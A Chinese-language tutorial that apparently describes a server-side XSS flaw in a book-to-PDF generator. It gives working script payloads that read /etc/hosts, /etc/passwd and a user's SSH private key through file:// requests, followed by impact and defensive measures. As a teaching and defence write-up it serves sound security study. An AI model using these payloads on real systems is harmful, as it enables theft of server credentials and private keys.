XSS漏洞_从PDF中获取数据
字数 758 2025-08-04 22:51:28
从PDF中获取数据的XSS漏洞利用教学文档
一、漏洞背景
该漏洞存在于一个允许用户上传图书内容并生成PDF文件的功能中。攻击者可以通过精心构造的输入,在生成的PDF文件中注入恶意脚本,进而读取服务器上的敏感文件。
二、漏洞原理
- 输入未充分过滤:系统未对用户输入的书名、作者等信息进行充分的HTML标签过滤
- PDF生成器解析HTML:后台生成PDF时解析了HTML标签,导致XSS攻击成为可能
- file协议可用:生成的PDF在浏览器中打开时使用file协议,允许访问本地文件系统
三、漏洞利用步骤
1. 识别可控输入点
- 书名输入框
- 作者输入框
- 图书内容上传区域
2. 测试HTML标签解析
验证HTML标签是否被解析执行
3. 探测使用的协议
<script>document.write(document.location.href)</script>
确认使用的是file协议
4. 构造文件读取payload
读取/etc/hosts文件:
<script>
x = new XMLHttpRequest;
x.onload = function(){document.write(this.responseText)};
x.open('GET','file:///etc/hosts');
x.send();
</script>
读取/etc/passwd文件:
<script>
x = new XMLHttpRequest;
x.onload = function(){document.write(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>
5. 读取SSH私钥
<script>
x = new XMLHttpRequest;
x.onload = function(){document.write(this.responseText)};
x.open("GET","file:///home/reader/.ssh/id_rsa");
x.send();
</script>
四、漏洞危害
- 读取服务器敏感文件(/etc/passwd、/etc/shadow等)
- 获取SSH私钥,可能导致服务器完全沦陷
- 结合其他漏洞(如SSRF、LFI)可扩大攻击面
五、防御措施
- 输入过滤:对所有用户输入进行严格的HTML标签过滤
- 禁用JavaScript执行:在PDF生成过程中禁用JavaScript执行
- 使用安全协议:避免使用file协议生成PDF
- 内容安全策略:实施严格的内容安全策略(CSP)
- 最小权限原则:PDF生成服务应运行在受限账户下
六、总结
该漏洞展示了XSS攻击如何从简单的弹窗演变为严重的服务器敏感信息泄露。关键在于:
- 确认HTML标签被解析
- 探测可用协议
- 构造文件读取payload
- 逐步提升攻击效果
组合利用多个漏洞可以显著提高攻击效果,防御时也需要采取多层次的安全措施。